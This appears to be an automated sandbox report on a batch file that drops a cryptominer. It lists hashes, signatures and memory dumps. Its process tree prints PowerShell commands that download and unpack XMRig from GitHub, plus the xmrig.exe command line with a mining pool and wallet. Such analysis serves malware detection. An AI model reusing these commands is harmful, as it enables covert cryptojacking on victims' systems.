Analysis

  • max time kernel
    1793s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4068
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2288
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4804

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2288-42-0x00007FF8DE1F0000-0x00007FF8DEBDC000-memory.dmp

    Filesize

    9.9MB

  • memory/2288-43-0x0000028AD5C30000-0x0000028AD5C40000-memory.dmp

    Filesize

    64KB

  • memory/2288-45-0x0000028AD5C30000-0x0000028AD5C40000-memory.dmp

    Filesize

    64KB

  • memory/2288-66-0x0000028AD5C30000-0x0000028AD5C40000-memory.dmp

    Filesize

    64KB

  • memory/2288-93-0x0000028AD5D90000-0x0000028AD5D9A000-memory.dmp

    Filesize

    40KB

  • memory/2288-117-0x00007FF8DE1F0000-0x00007FF8DEBDC000-memory.dmp

    Filesize

    9.9MB

  • memory/2288-80-0x0000028AD5DA0000-0x0000028AD5DB2000-memory.dmp

    Filesize

    72KB

  • memory/4068-10-0x0000025A5B9D0000-0x0000025A5BA46000-memory.dmp

    Filesize

    472KB

  • memory/4068-9-0x0000025A41980000-0x0000025A41990000-memory.dmp

    Filesize

    64KB

  • memory/4068-25-0x0000025A41980000-0x0000025A41990000-memory.dmp

    Filesize

    64KB

  • memory/4068-8-0x0000025A41980000-0x0000025A41990000-memory.dmp

    Filesize

    64KB

  • memory/4068-26-0x00007FF8DE1F0000-0x00007FF8DEBDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4068-27-0x0000025A41980000-0x0000025A41990000-memory.dmp

    Filesize

    64KB

  • memory/4068-28-0x0000025A41980000-0x0000025A41990000-memory.dmp

    Filesize

    64KB

  • memory/4068-6-0x00007FF8DE1F0000-0x00007FF8DEBDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4068-4-0x0000025A5B820000-0x0000025A5B842000-memory.dmp

    Filesize

    136KB

  • memory/4068-29-0x0000025A41980000-0x0000025A41990000-memory.dmp

    Filesize

    64KB

  • memory/4068-34-0x00007FF8DE1F0000-0x00007FF8DEBDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4804-144-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-155-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-122-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-124-0x0000016D35A90000-0x0000016D35AB0000-memory.dmp

    Filesize

    128KB

  • memory/4804-123-0x0000016D35AB0000-0x0000016D35AD0000-memory.dmp

    Filesize

    128KB

  • memory/4804-125-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-126-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-127-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-129-0x0000016D35A90000-0x0000016D35AB0000-memory.dmp

    Filesize

    128KB

  • memory/4804-128-0x0000016D35AB0000-0x0000016D35AD0000-memory.dmp

    Filesize

    128KB

  • memory/4804-130-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-131-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-132-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-133-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-134-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-135-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-136-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-137-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-138-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-139-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-140-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-141-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-142-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-143-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-120-0x0000016D34170000-0x0000016D34190000-memory.dmp

    Filesize

    128KB

  • memory/4804-145-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-146-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-147-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-148-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-149-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-150-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-151-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-152-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-153-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-154-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-121-0x0000016D341C0000-0x0000016D341E0000-memory.dmp

    Filesize

    128KB

  • memory/4804-156-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-157-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-158-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-159-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-160-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-161-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-162-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-163-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-164-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-165-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-166-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-167-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-168-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-169-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-170-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-171-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-172-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-173-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-174-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-175-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-176-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-177-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-178-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-179-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-180-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-181-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-182-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-183-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-184-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-185-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-186-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-187-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-188-0x00007FF7957E0000-0x00007FF7962E3000-memory.dmp

    Filesize

    11.0MB